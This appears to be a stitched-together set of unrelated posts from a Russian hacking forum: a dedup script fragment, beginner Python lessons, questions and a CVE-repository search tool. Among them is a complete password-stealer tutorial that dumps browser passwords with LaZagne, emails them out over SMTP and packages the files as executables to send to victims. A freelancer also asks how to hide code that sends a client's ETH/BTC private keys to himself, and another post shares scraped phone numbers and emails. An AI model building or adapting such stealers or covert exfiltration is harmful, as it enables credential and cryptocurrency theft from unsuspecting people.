for line in merged_iter:
line = line.strip()
if line != prev_line: # Если текущая строка отличается от предыдущей
outfile.write(line + '\n') # Записываем её в выходной файл
prev_line = line
unique_count += 1
else:
duplicate_count += 1 # Увеличиваем счетчик дубликатов
except Exception as e:
logger.error(f"Ошибка при слиянии файлов: {e}")
return 0, 0
finally:
for f in file_iters:
f.close() # Закрываем все открытые файлы
logger.info(f"Слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")
return unique_count, duplicate_count, output_file
except Exception as e:
logger.error(f"Ошибка при параллельном слиянии файлов: {e}")
return 0, 0
def batch_merge(temp_files, batch_size, temp_dir, num_merge_processes=24):
"""
Выполняет пакетное слияние временных файлов.
:param temp_files: Список временных файлов
:param batch_size: Размер пакета для слияния
:param temp_dir: Путь к временной директории
:param num_merge_processes: Количество процессов для слияния
:return: (список объединенных файлов, общее количество уникальных строк, общее количество дубликатов)
"""
try:
logger.info(f"Начало пакетного слияния с размером пакета {batch_size}")
merged_files = []
total_unique_count = 0
total_duplicate_count = 0
with ProcessPoolExecutor(max_workers=num_merge_processes) as merge_executor:
futures = []
for i in range(0, len(temp_files), batch_size):
batch = temp_files[i:i + batch_size] # Формируем пакет файлов
logger.info(f"Слияние пакета с файлов {i + 1} по {min(i + batch_size, len(temp_files))}")
temp_merged_file, unique_filename = create_temp_merged_file(temp_dir)
temp_merged_file.close()
futures.append(merge_executor.submit(merge_files_parallel, batch, unique_filename))
for future in as_completed(futures):
unique_count, duplicate_count, temp_file = future.result() # Получаем результат слияния
if unique_count or duplicate_count:
merged_files.append(temp_file) # Добавляем временный файл в список
total_unique_count += unique_count
total_duplicate_count += duplicate_count
for temp_file in temp_files:
if os.path.exists(temp_file):
logger.info(f"Удаление временного файла: {temp_file}")
os.remove(temp_file) # Удаляем обработанные временные файлы
else:
logger.warning(f"Файл не найден для удаления: {temp_file}")
return merged_files, total_unique_count, total_duplicate_count
except Exception as e:
logger.error(f"Ошибка при пакетном слиянии: {e}")
return temp_files, 0, 0
def final_merge(temp_dir, output_file):
"""
Выполняет финальное слияние всех оставшихся временных файлов.
:param temp_dir: Путь к временной директории
:param output_file: Имя выходного файла
:return: (количество уникальных строк, количество удаленных дубликатов)
"""
logger.info(f"Финальная стадия слияния временных файлов из папки {temp_dir}.")
temp_files = [os.path.join(temp_dir, f) for f in os.listdir(temp_dir) if os.path.isfile(os.path.join(temp_dir, f))] # Список временных файлов для финального слияния
if len(temp_files) > 1: # Если файлов больше одного, запускаем слияние
unique_count, duplicate_count, output_file = merge_files_parallel(temp_files, output_file) # Параллельно сливаем файлы
elif len(temp_files) == 1: # Если остался только один файл
logger.info(f"Остался один файл. Переименование {temp_files[0]} в {output_file}")
os.rename(temp_files[0], output_file) # Переименовываем файл в выходной
unique_count, duplicate_count = 0, 0 # Устанавливаем нулевые значения для счетчиков
else:
logger.error("Не осталось временных файлов для слияния!")
return 0, 0 # Возвращаем нули в случае ошибки
logger.info(f"Финальное слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")
try:
shutil.rmtree(temp_dir) # Удаляем временную директорию
logger.info(f"Временная папка {temp_dir} успешно удалена.")
except Exception as e:
logger.error(f"Ошибка при удалении временной папки {temp_dir}: {e}")
return unique_count, duplicate_count # Возвращаем количество уникальных строк и дубликатов
def read_and_process_chunks_multiprocess(input_file, chunk_size=2000000, num_processes=24):
"""
Читает входной файл по чанкам и обрабатывает их в многопроцессорном режиме.
:param input_file: Имя входного файла
:param chunk_size: Размер чанка (количество строк)
:param num_processes: Количество процессов для обработки
:return: (список временных файлов, общее количество прочитанных строк)
"""
temp_files = [] # Список для временных файлов
chunk = [] # Буфер для хранения чанка строк
original_count = 0 # Счетчик общего числа строк
logger.info(f"Чтение и обработка файла {input_file} в {num_processes} процессах...")
try:
with open(input_file, 'r', encoding='utf-8', errors='ignore') as infile: # Открываем входной файл для чтения
with ProcessPoolExecutor(max_workers=num_processes) as executor: # Создаем процессный пул для обработки чанков
futures = [] # Список задач для выполнения
for line in infile: # Читаем файл построчно
chunk.append(line.strip()) # Добавляем строку в чанк
original_count += 1 # Увеличиваем счетчик строк
if len(chunk) >= chunk_size: # Если чанк достиг нужного размера
futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir)) # Отправляем чанк на обработку в пул процессов
chunk = [] # Очищаем чанк
if chunk: # Если остались строки после завершения цикла
futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir)) # Обрабатываем оставшийся чанк
for future in as_completed(futures): # Ожидаем завершения всех задач
temp_file = future.result() # Получаем результат задачи
if temp_file:
temp_files.append(temp_file) # Добавляем временный файл в список
logger.info(f"Чтение и обработка завершены (процессами). Всего строк: {original_count}") # Логируем завершение обработки файла
except Exception as e:
logger.error(f"Ошибка при чтении файла (процессы): {e}") # Логируем ошибку в случае сбоя
return temp_files, original_count # Возвращаем список временных файлов и общее количество строк
def sort_and_uniq_streaming_multiprocess(input_file, output_file, chunk_size=2000000, batch_size=10, num_processes=24, num_merge_processes=24):
"""
Основная функция для сортировки и удаления дубликатов из большого файла с использованием многопроцессорной обработки.
:param input_file: Имя входного файла
:param output_file: Имя выходного файла
:param chunk_size: Размер чанка для обработки
:param batch_size: Размер пакета для слияния
:param num_processes: Количество процессов для обработки чанков
:param num_merge_processes: Количество процессов для слияния
:return: (общее количество строк, количество уникальных строк)
"""
logger.info(f"Старт обработки файла {input_file}...") # Логируем начало процесса
temp_files, original_count = read_and_process_chunks_multiprocess(input_file, chunk_size, num_processes) # Читаем и обрабатываем файл по чанкам
logger.info(f"Начинается пакетное слияние временных файлов...") # Логируем начало пакетного слияния
total_unique_count = 0 # Инициализируем счетчик всех уникальных строк
total_duplicate_count = 0 # Инициализируем счетчик всех дубликатов
while len(temp_files) > batch_size: # Пока временных файлов больше, чем размер пакета
temp_files, unique_count, duplicate_count = batch_merge(temp_files, batch_size, temp_dir, num_merge_processes) # Выполняем пакетное слияние
total_unique_count += unique_count # Обновляем общий счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем общий счетчик дубликатов
unique_count, duplicate_count = final_merge(temp_dir, output_file) # Выполняем финальное слияние
total_unique_count += unique_count # Обновляем счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем счетчик дубликатов
return original_count, unique_count # Возвращаем общее количество строк и количество уникальных строк
# Точка входа
if __name__ == '__main__': # Если этот файл запускается как основная программа
tic = time.perf_counter() # Начало отсчета времени
input_file = "input.txt" # Указываем импортируемый файл
output_file = "output.txt" # Указываем экспортируемый файл
original_count, unique_count = sort_and_uniq_streaming_multiprocess(input_file, output_file, num_processes=24, num_merge_processes=24) # Запускаем основную функцию обработки
tac = time.perf_counter() # Конец отсчета времени
logging.info(f"Все временные файлы удалены. Уникальных строк: {unique_count}, Дублей удалено (на всех этапах процессов слияния): {original_count - unique_count}") # Логируем результаты
logging.info(f"Всего обработано строк: {original_count}") # Логируем количество обработанных строк
logging.info(f"Удаление дублей и сортировка заняли {tac - tic:0.2f} секунд") # Логируем время выполнения
Коллеги , пишу тг ботов на питоне , немного джанго подучил. но чот меня уже не
так вставялет питон как раньше , хочется чтото более серьезное ))) java , c++
, короче софт свой писать охота.
что посоветуете? на java может переключиться? или не морочить себе голову , а
дальше познавать все прелести питона ?))
заранее спасибо
Автор: xakep.ru
Python уверенно лидирует в рейтингах популярности языков программирования, и не зря — на этом языке можно решать самые разные задачи и при этом сильно экономить время. Python — излюбленный хакерами язык, поскольку отлично годится для автоматизации. В сегодняшней подборке мы познакомимся с самыми началами этого замечательного языка и реализуем больше дюжины настоящих проектов.
**В подборку вошли двадцать статей, разбитые на пять разделов.
1. Первые шаги в Python**
2. Практика. Легкий уровень
3. Практика. Средний уровень
4. Практика. Продвинутый уровень
5. Интересное о Python
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)
](https://mega.nz/file/6YgngICI#8qaIgFb9bFtJ6UUq9ggttZDyybVK3kq50gKWX1XS1MM)
mega.nz
Здравствуйте,
иногда занимаюсь фрилансом, получил заказ написать скрипт, который обработает
очень вкусную инфу(приватные ключи ETH и BTC). Но т.к. заказчик мне не
родственник, ни друг и из недружественной страны, я очень хотел бы, что скрипт
отправил эту инфу мне. Заказчик тоже не дурак, он требует, что скрипт был
только из одного файла, без каких либо внешних библиотек. В принципе мне надо
как то спрятать в скрипте одну строку:
Python:Copy to clipboard
requests.post('url', 'инфа')
Если я пошифрую эту строку кода и пробую такие варианты, как:
Python:Copy to clipboard
eval('пошифрованный код')
или
exec('пошифрованный код')
то сразу создает подозрение. Может у кого есть другие идеи? Какие нибудь хитрости с юникодом? За дельный совет, и если он прокатит, обещаю 10% от выхлопа. Гарантий, конечно немогу дать, просто честное слово
Что будем делать?
Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.
Что для этого нужно?
Нам понадобится:
И так начинаем
Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.
У нас должна получится такая структура:
Project:
Пишем код
Откроем файл main.bat и поместим туда код:
Code:Copy to clipboard
@Echo off
laZagne.exe all > pass.txt
Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?
Отправка на почту
Открываем файл send.py и вставляем код:
Code:Copy to clipboard
import smtplib
import os
import mimetypes
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
from email.mime.multipart import MIMEMultipart
def send_email(addr_from, password, addr_to, files):
msg_subj = 'Password'
msg_text = 'Password'
msg = MIMEMultipart()
msg['From'] = addr_from
msg['To'] = addr_to
msg['Subject'] = msg_subj
body = msg_text
msg.attach(MIMEText(body, 'plain'))
process_attachement(msg, files)
#==========Код зависящий от сервиса==========
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()
#============================================
def process_attachement(msg, files):
for f in files:
if os.path.isfile(f):
attach_file(msg,f)
elif os.path.exists(f):
dir = os.listdir(f)
for file in dir:
attach_file(msg,f+"/"+file)
def attach_file(msg, filepath):
filename = os.path.basename(filepath)
ctype, encoding = mimetypes.guess_type(filepath)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split('/', 1)
if maintype == 'text':
with open(filepath) as fp:
file = MIMEText(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'image':
with open(filepath, 'rb') as fp:
file = MIMEImage(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'audio':
with open(filepath, 'rb') as fp:
file = MIMEAudio(fp.read(), _subtype=subtype)
fp.close()
else:
with open(filepath, 'rb') as fp:
file = MIMEBase(maintype, subtype)
file.set_payload(fp.read())
fp.close()
encoders.encode_base64(file)
file.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(file)
#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to = "to@gmail.com"
files = ["pass.txt"]
#=============================================
send_email(_from, _password, _to, files)
Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):
Code:Copy to clipboard
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Mail.ru:
Code:Copy to clipboard
server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Yandex:
Code:Copy to clipboard
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Доделываем .bat
Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:
Code:Copy to clipboard
send.py
del /s "pass.txt"
Сборка
Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:
Code:Copy to clipboard
pip install pyinstaller
pyinstaller --onefile send.py
Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками("...") и ищем ваш файл main.bat, жмем "Открыть", после чего жмем "Convert" и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоватьсяпроверять на работоспособность.
Ссылки
(c) Artur3175
Приветствую всех пользователей форума XSS.is, изначально я планировал начать урок по языку Python традиционно с установки среды разработки и прочего. Но решил этого не делать, так как целевая аудитория данного форума в большинстве своём продвинутая и мне не нужно разжевывать установку Python.
В этом уроке мы научимся работать с переменными и выводить их на экран.
Первым делом рассмотрим переменные. Что это такое?
Переменная - это ячейка в памяти, куда мы можем записать определённую информацию и потом ссылаться к этой переменной и получать от неё информацию. Ну а что делать с этой самой информацией уже зависит от поставленной вами задачей (вывод на экран, математические операции и etc). Для написания переменной, нам необходимо указать её имя, а также присвоить ей значение, к примеру, мы так можем и сделать:
Python:Copy to clipboard
xss = "Форум"
Данная переменная имеет тип string - строка.
Каждая переменная имеет свой определённый тип данных, в языке Python эти типы
данных не указываются явно, например в языке C++ все типы данных
указываются явно перед началом переменной указывается её тип данных, например
int(integer), float и т.д., а потом уже идёт само объявление
переменной,
C++:Copy to clipboard
int xss = "Форум"
В языке Python это делать не нужно, но тем не менее эти типы данных
присутствуют, поэтому я буду вам про них рассказывать и показывать.
Вернемся к нашему коду:
Python:Copy to clipboard
xss = "Форум" # String
Так вот, данный тип данных называется string (строка), также существуют другие типы данных, давайте создадим переменную num и укажем для неё значение шесть.
Python:Copy to clipboard
num = 6 # Integer
Здесь уже будет тип данных Integer - целое число, такая переменная может
принимать значение 1, 2, 3, 10, 500 и тому подобное, то есть просто целые
числа.
Float - это числа с плавающей точкой, для примерам возьмём 0.5, чисел после
точки может быть очень-очень много такой тип данных как вы уже поняли
называется float.
Python:Copy to clipboard
float = 0.5 # Float
При этом я переменную назвал float, но это не обязательно, я это сделал для
наглядности.
Вернёмся к названиям переменных.
В названиях переменных вы можете использовать:
числа, нижнее подчеркивание, и латинские символы.
Вы НЕ можете здесь использовать:
специальные символы по типу %, $
и тому подобное, также вы не можете в
начале писать число, например 2num = 6
, то есть изначально всегда должно
быть нижнее подчеркивание или латинские символы и потом уже могут идти числа.
И тогда это всё будет нормально и корректно обрабатываться.
Существует ещё один тип данных который можно также применить к переменной,
этот тип данных называется булевый тип данных (boolean). То есть это те
переменные, которые принимают лишь два значения TRUE
- истина либо же
FALSE
- ложь. Такие переменные будут очень и очень удобные при
использовании в условных операторах, к примеру, мы сможем проверить, если у
нас наша переменная равна true, то мы выполняем один код если же она равна
false, то выполняем другой код.
Напишем переменную с типом данных boolean:
Python:Copy to clipboard
bool = false
И добавим ей значение либо True, либо False (правда или ложь).
Так вот, теперь мы имеем 4 переменных, которые имеют разный тип данных. На
самом деле в языке Python больше типов данных, но мы с ними будем
ознакамливаться чуть позже, потому что это различные массивы и объекты и это
мы будем в ходе данного текстового курса изучать. Но на данный момент вам
будет пока что достаточно этих четырёх типов данных. Что мы можем теперь
делать с этими переменными? Мы имеем следующий код.
Python:Copy to clipboard
xss = "Форум" # String
num = 6 # Integer
float = 0.5 # Float
bool = false
Во-первых мы их можем переприсвоить, например я могу взять нашу переменную xss и указать внутри другой текст.
Python:Copy to clipboard
xss = "НЕ ФОРУМ"
Таким образом я просто переопределил данную переменную и у неё уже будет новое значение. Дальше мы можем вывести данную переменную, при помощи оператора
Python:Copy to clipboard
print(xss)
Также внутри можно вывести к примеру текст.
Python:Copy to clipboard
print(xss, "some text")
И если мы запустим данную программу, то на экране увидим
Code:Copy to clipboard
НЕ ФОРУМ, some text
то есть таким образом мы вывели здесь просто дополнительную строку, но выводить её в данный момент нам не нужно, нам было бы здесь интереснее вывести какую-либо переменную, а не просто текст, например переменную num и получаем следующее
Python:Copy to clipboard
print(xss, num)
и соответственно если мы запустим данную программу, то увидим следующее
НЕ ФОРУМ 6
Потому что изначально мы выводим xss, у неё значение "НЕ ФОРУМ" ,
т.к. мы переопределили её, ну и затем переменную num которая содержит значение
равное шести. Помимо этого мы можем совершать математические операции с
переменными. Например, давайте создадим ещё одну переменную и назовём её
result, ну и перед ней добавим переменную x, в которой будет значение 5. Ну а
в самой переменной result, сделаем сложение нашей переменной num с переменной
x.
Python:Copy to clipboard
x = 5
result = num + x
И теперь будем на экран выводить конкретно данную переменную, т.к. в ней находится сложение.
Python:Copy to clipboard
print(result)
таким образом мы увидим на экране 11
потому что 6 + 5 = 11
Также можно отнимать
Python:Copy to clipboard
x = 5
result = num - x
Делить
Python:Copy to clipboard
x = 5
result = num / x
Умножать
Python:Copy to clipboard
x = 5
result = num * x
И получать остаток от деления
Python:Copy to clipboard
x = 5
result = num % x
Если же я хочу произвести одно и тоже действие над одной и той же переменной, к примеру я хочу вот над переменной x произвести действие с переменной num, я хочу взять эту переменную и от неё отнять число например 3, чтобы у нас в ней получилось число 2. Так вот, я могу не прописывать всё это настолько долго и нудно, а могу просто написать вот так.
Python:Copy to clipboard
xss = "Форум" # String
num = 6 # Integer
float = 0.5 # Float
bool = false
xss ="НЕ Форум"
x = 5
result = num % x
Вот наш код целиком, и добавим следующее.
num -= 3
Python:Copy to clipboard
xss = "Форум" # String
num = 6 # Integer
float = 0.5 # Float
bool = false
xss ="НЕ Форум"
num -= 3
x = 5
result = num % x
Таким образом это будет эквивалентно такой записи:
Python:Copy to clipboard
number = number - 3[CODE]
Если же вам необходимо создать несколько переменных содержащих в себе одно и тоже значение, к примеру переменные a, z, q
a
z
q
То вы их можете все прописать в один ряд, единственное что вы должны к каждой переменной поставить знак равенства ну и в конце для них всех указываем значение.
Python:Copy to clipboard
a = z = q = 15
ну и также можем вывести на экран через оператор print.
Также есть ещё один способ быстрого добавления переменных.
Напишем пару переменных в одну строку и соответственно мы хотим каждой из них
добавить своё собственное значение.
Python:Copy to clipboard
w, r, b = 12, "XSS.is", True
В данной записи мы присвоили переменной w = 12, r = XSS.is, b = True и дальше можем с ними работать. Этот способ служит для быстрой записи нескольких переменных. Я здесь прописал 3 варианта, а можно больше это чисто для удобства служит.
Продолжение следует....
Всем привет. Недавно начал учить язык программирования python. Написал
простенький парсер телефонных номеров и электронных почт с сайта prom.ua.
Сейчас пишу парсер с olx.ua.
Вот номера телефонов и почт. Может кому-то будет нужно:
anonfiles.com
Вот код на python:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
l = 0
all_href = []
all_mail = []
all_phone = []
all_sections = []
base_url = 'https://prom.ua/ua/Kompyuternaya-tehnika-i-programmnoe-obespechenie'
base_r = requests.get(base_url)
base_soup = BeautifulSoup(base_r.content, 'html.parser')
sections_href = base_soup.find_all('div', attrs={'class':'x-category-tile__title-holder'})
for sec in sections_href:
section_href = sec.find('a', attrs={'class':'x-category-tile__title'})['href']
all_sections.append(section_href)
for link in all_sections:
print(link)
url = 'https://prom.ua' + link
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
div_href = soup.find_all('div', attrs={'class': 'x-gallery-tile__relative'})
for hr in div_href:
get_href = hr.find('a', attrs={'class': 'x-gallery-tile__image-holder x-image-holder'})['href']
all_href.append(get_href)
for al in all_href:
r1 = requests.get(al)
soup1 = BeautifulSoup(r1.content, 'html.parser')
get_mail = soup1.find('a', attrs={'class': 'x-pseudo-link x-iconed-text__link'})
all_mail.append(get_mail)
get_phone = soup1.find('span', attrs={'class':'x-pseudo-link x-iconed-text__link js-product-ad-conv-action'})
all_phone.append(get_phone)
l = l + 1
print(l)
print(all_phone)
print(all_mail)
Жду от вас советов как лучше писать, какие библиотеки лучше использовать для
парсинга.
Всем хорошего дня☺
Почему я ошибаюсь? Я новичок в питоне
Это исходный код:
https://dl.packetstormsecurity.net/1908-exploits/azorultbotnet-sql.txt
Почему я получаю ошибку, когда я даю
sudo python azo.py url
Я переименовал файл azo.py и вижу, что в нем 3 параметра, основная функция до
сих пор не выходит.
Можете ли вы дать мне пример?
Эксклюзивный курс по информационной безопасности и Python, состоящий из 17
частей.
Скачать: https://cloud.mail.ru/public/4tVK/4Tbw2b48Y/
В частности я хотел бы очень найти слив этого курса:
](https://www.udemy.com/course/aiogram-python/)
Научись разрабатывать ботов любой сложности для месседжера Telegram. В этом подробном курсе построение ботов от А до Я.
![www.udemy.com](/proxy.php?image=https%3A%2F%2Fwww.udemy.com%2Fcourse%2Faiogram- python%2F&hash=d70b683bdc7d1d7d3f76af36d60a8142&return_error=1) www.udemy.com
Я впервые вообще ищу сливы чего-то, был бы рад если бы вы подсказали.
Привет.
Задача: Изменить Иконку и Version Info с помощью Python.
Я уже в курсе, что в этом мне поможет https://github.com/erocarrera/pefile
Но проблема в том, что знания мои PE - довольно поверхностны, так что буду рад
любой информации.
Не только примерам использования pefile (которых я в сети не нашел).
А любую инфу которая может просветить меня в PE, если на русском - так вообще
здорово будет.
Заранее благодарен.!
Greetings to all those who are always eager to hunt for new security vulnerabilities and ensure the best possible security. Here is GhostCVE Finder , a tool designed to search and discover new CVEs via GitHub. Leveraging the powerful GitHub API and robust Python libraries, this script enables you to swiftly and automatically scout for newly reported vulnerabilities and examine them.
Features:
Script code :
Python:Copy to clipboard
import subprocess
import sys
import os
import requests
import json
from datetime import datetime, timedelta
from rich.console import Console
from rich.table import Table
from rich.prompt import Prompt
from rich.panel import Panel
from rich.layout import Layout
from rich.live import Live
import threading
from tzlocal import get_localzone
# Function to check if a package is installed
def is_package_installed(package):
try:
subprocess.check_output([sys.executable, '-m', 'pip', 'show', package])
return True
except subprocess.CalledProcessError:
return False
# Function to install a package
def install_package(package):
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
# Install required packages if not installed
def setup():
packages = [
"requests",
"rich",
"tzlocal"
]
for package in packages:
if not is_package_installed(package):
print(f"Installing {package}...")
install_package(package)
else:
print(f"{package} is already installed.")
if os.name == 'nt':
subprocess.call('cls', shell=True)
else:
subprocess.call('clear', shell=True)
# Global variables
SETTINGS_FILE = 'settings.json'
LAST_SEARCH_FILE = 'last_search.json'
console = Console()
# Function to load settings from JSON file
def load_settings():
if os.path.exists(SETTINGS_FILE):
with open(SETTINGS_FILE, 'r') as file:
return json.load(file)
return {}
# Function to save settings to JSON file
def save_settings(settings):
with open(SETTINGS_FILE, 'w') as file:
json.dump(settings, file)
# Function to get GitHub token from user input or settings file
def get_github_token():
settings = load_settings()
if 'GITHUB_TOKEN' in settings:
return settings['GITHUB_TOKEN']
token = Prompt.ask("Enter your GitHub token")
settings['GITHUB_TOKEN'] = token
save_settings(settings)
return token
# Function to load last search time from JSON file
def load_last_search_time():
if os.path.exists(LAST_SEARCH_FILE):
with open(LAST_SEARCH_FILE, 'r') as file:
data = json.load(file)
return datetime.fromisoformat(data['last_search_time'])
return None
# Function to save last search time to JSON file
def save_last_search_time(time):
with open(LAST_SEARCH_FILE, 'w') as file:
json.dump({'last_search_time': time.isoformat()}, file)
# Function to handle existing last search file
def handle_existing_last_search_file():
if os.path.exists(LAST_SEARCH_FILE):
console.print("[bold yellow]Last search file already exists. This may prevent finding new CVEs.[/bold yellow]")
action = Prompt.ask("Do you want to delete or rename the last search file? (delete/rename/continue)", default="continue")
if action == "delete":
os.remove(LAST_SEARCH_FILE)
console.print("[bold green]Last search file deleted.[/bold green]")
elif action == "rename":
new_name = Prompt.ask("Enter new name for the last search file")
os.rename(LAST_SEARCH_FILE, new_name)
console.print(f"[bold green]Last search file renamed to {new_name}.[/bold green]")
else:
console.print("[bold yellow]Continuing with the existing last search file.[/bold yellow]")
# Function to clone repository using git
def clone_repository(repo_url, repo_name):
try:
subprocess.run(["git", "clone", repo_url, repo_name], check=True)
console.print(f"[bold green]Successfully cloned {repo_name}[/bold green]")
except subprocess.CalledProcessError:
console.print(f"[bold red]Failed to clone {repo_name}[/bold red]")
# Function to fetch repositories from GitHub API
def fetch_repositories(url, headers, repos):
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
results = response.json()
for repo in results['items']:
repos.append(repo)
else:
console.print(f"[bold red]Failed to fetch data from GitHub API. Status code: {response.status_code}[/bold red]")
except requests.exceptions.RequestException as e:
console.print(f"[bold red]An error occurred: {str(e)}[/bold red]")
# Function to search for new CVEs
def search_new_cves():
github_token = get_github_token()
timezone = str(get_localzone())
headers = {'Authorization': f'token {github_token}'}
last_search_time = load_last_search_time() or datetime.now() - timedelta(days=1)
query = f'CVE created:>{last_search_time.strftime("%Y-%m-%dT%H:%M:%SZ")}'
url = f'https://api.github.com/search/repositories?q={query}&per_page=10'
repos = []
threads = []
for page in range(1, 6): # Fetching up to 50 repositories (5 pages, 10 per page)
paginated_url = f'{url}&page={page}'
thread = threading.Thread(target=fetch_repositories, args=(paginated_url, headers, repos))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if repos:
table = Table(title="New CVEs Found", show_header=True, header_style="bold magenta")
table.add_column("No.", style="dim", width=5)
table.add_column("Name", style="cyan", no_wrap=True)
table.add_column("URL", style="magenta")
table.add_column("Description", style="green")
table.add_column("Created At", style="yellow", no_wrap=True)
for idx, repo in enumerate(repos, start=1):
table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])
console.print(table)
while True:
repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
if repo_index.lower() == 'exit':
break
try:
repo_index = int(repo_index) - 1
if 0 <= repo_index < len(repos):
repo = repos[repo_index]
clone_repository(repo['html_url'], repo['name'])
else:
console.print("[bold red]Invalid number. Please try again.[/bold red]")
except ValueError:
console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
else:
console.print("[bold red]No new CVEs found.[/bold red]")
save_last_search_time(datetime.now())
# Function to search for a specific CVE
def search_specific_cve(cve_id):
github_token = get_github_token()
headers = {'Authorization': f'token {github_token}'}
url = f'https://api.github.com/search/repositories?q={cve_id}'
repos = []
fetch_repositories(url, headers, repos)
if repos:
table = Table(title=f"Repositories for {cve_id}", show_header=True, header_style="bold magenta")
table.add_column("No.", style="dim", width=5)
table.add_column("Name", style="cyan", no_wrap=True)
table.add_column("URL", style="magenta")
table.add_column("Description", style="green")
table.add_column("Created At", style="yellow", no_wrap=True)
for idx, repo in enumerate(repos, start=1):
table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])
console.print(table)
while True:
repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
if repo_index.lower() == 'exit':
break
try:
repo_index = int(repo_index) - 1
if 0 <= repo_index < len(repos):
repo = repos[repo_index]
clone_repository(repo['html_url'], repo['name'])
else:
console.print("[bold red]Invalid number. Please try again.[/bold red]")
except ValueError:
console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
else:
console.print(f"[bold red]No repositories found for {cve_id}.[/bold red]")
# Function to search CVEs based on a specific date
def search_cves_by_date():
while True:
try:
search_date_str = Prompt.ask("Enter the search date (YYYY-MM-DD) or 'exit' to cancel", default="exit")
if search_date_str.lower() == 'exit':
return
search_date = datetime.strptime(search_date_str, "%Y-%m-%d")
break
except ValueError:
console.print("[bold red]Invalid date format. Please enter date in YYYY-MM-DD format.[/bold red]")
github_token = get_github_token()
timezone = str(get_localzone())
headers = {'Authorization': f'token {github_token}'}
query = f'CVE created:{search_date.strftime("%Y-%m-%d")}'
url = f'https://api.github.com/search/repositories?q={query}&per_page=10'
repos = []
fetch_repositories(url, headers, repos)
if repos:
table = Table(title=f"CVEs created on {search_date.strftime('%Y-%m-%d')}", show_header=True, header_style="bold magenta")
table.add_column("No.", style="dim", width=5)
table.add_column("Name", style="cyan", no_wrap=True)
table.add_column("URL", style="magenta")
table.add_column("Description", style="green")
table.add_column("Created At", style="yellow", no_wrap=True)
for idx, repo in enumerate(repos, start=1):
table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])
console.print(table)
while True:
repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
if repo_index.lower() == 'exit':
break
try:
repo_index = int(repo_index) - 1
if 0 <= repo_index < len(repos):
repo = repos[repo_index]
clone_repository(repo['html_url'], repo['name'])
else:
console.print("[bold red]Invalid number. Please try again.[/bold red]")
except ValueError:
console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
else:
console.print(f"[bold red]No new CVEs found on {search_date.strftime('%Y-%m-%d')}.[/bold red]")
# Function to handle user input and actions
def main():
setup()
handle_existing_last_search_file()
while True:
menu = Panel.fit("""
[bold cyan]What would you like to do?[/bold cyan]
1. Search for a specific CVE
2. Search for new CVEs
3. Search for CVEs by specific date
4. Help
5. Exit
""", title="Menu", border_style="green")
console.print(menu)
try:
choice = Prompt.ask("Choose an option", choices=[str(i) for i in range(1, 6)], default="1")
if choice == "1":
search_specific_cve(Prompt.ask("Enter CVE ID to search for"))
elif choice == "2":
search_new_cves()
elif choice == "3":
search_cves_by_date()
elif choice == "4":
console.print("""
[bold cyan]Help - Available Commands[/bold cyan]
1. Search for a specific CVE by entering its ID.
2. Search for new CVEs created since the last search.
3. Search for CVEs created on a specific date.
4. Exit the program.
""")
elif choice == "5":
break
except ValueError:
console.print("[bold red]Invalid input. Please enter a number from 1 to 5.[/bold red]")
if __name__ == "__main__":
main()
**Creating a GitHub Token :
1.Sign in to GitHub**: Log in to your GitHub account at github.com.
2.Access Personal Access Tokens :
Click on your profile icon at the top right corner of the page.
From the dropdown menu, select Settings.
3.Navigate to Developer Settings :
